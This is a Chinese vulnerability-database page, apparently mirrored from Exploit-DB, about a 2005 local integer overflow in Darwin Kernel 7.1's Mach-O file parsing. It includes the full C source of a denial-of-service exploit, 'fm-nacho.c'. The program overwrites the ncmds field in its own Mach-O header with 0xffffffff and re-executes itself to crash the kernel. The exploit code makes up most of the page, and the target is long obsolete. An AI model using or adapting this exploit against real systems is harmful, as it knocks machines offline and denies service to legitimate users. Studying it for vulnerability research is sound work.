Darwin Kernel 7.1 – Mach File Parsing Local Integer Overflow

Darwin Kernel 7.1 – Mach File Parsing Local Integer Overflow

漏洞ID 1054862 漏洞类型
发布时间 2005-01-19 更新时间 2005-01-19
图片[1]-Darwin Kernel 7.1 – Mach File Parsing Local Integer Overflow-安全小百科CVE编号 N/A
图片[2]-Darwin Kernel 7.1 – Mach File Parsing Local Integer Overflow-安全小百科CNNVD-ID N/A
漏洞平台 OSX CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/25055
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/12314/info

Reportedly a local integer overflow vulnerability affects the Darwin Kernel. This issue is due to a failure of the affected to properly handle integer signedness.

An attacker may leverage this issue to cause the affected computer to crash, denying service to legitimate users. It has been speculated that this issue may also be leverage to escalate privileges, although this is unconfirmed. 
*/

//---------------------( fm-nacho.c )--------------------------
/*
 * DoS for Darwin Kernel Version < 7.5.0
 * -([email protected])-
 * 2005
 *
 * greetz to awnex, cryp, nt, andrewg, arc, mercy, amnesia ;)
 * irc.pulltheplug.org (#social)
 */

#include <stdio.h>

int main(int ac, char **av)
{
        FILE *me;
        int rpl = 0xffffffff;
        fpos_t pos = 0x10;
        printf("-( nacho - 2004 DoS for OSX (darwin < 7.5.0 )-n");
        printf("-( [email protected] )-nn");
        printf("[+] Opening file for writing.n");
        if(!(me = fopen(*av,"r+"))) {
                printf("[-] Error opening exe.n");
                exit(1);
        }
        printf("[+] Seeking to ncmds.n");
        if((fsetpos(me,&pos)) == -1) {
                printf("[-] Error seeking to ncmds.n");
                exit(1);
        }
        printf("[+] Changing ncmds to 0x%x.n",rpl);
        if(fwrite(&rpl,4,1,me) < 1) {
                printf("[-] Error writing to file.n");
                exit(1);
        }
        fclose(me);
        printf("[+] Re-executing with modified mach-o header.n");
        sleep(5);
        if(execv(*av,av) == -1 ) {
                printf("[-] Error executing %s, please run manually.n",*av);
                exit(1);
        }
        exit(0); // hrm
}

相关推荐: Cisco 7900 Series VoIP Phone ARP Spoofing Denial Of Service Vulnerability

Cisco 7900 Series VoIP Phone ARP Spoofing Denial Of Service Vulnerability 漏洞ID 1099709 漏洞类型 Failure to Handle Exceptional Conditio…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享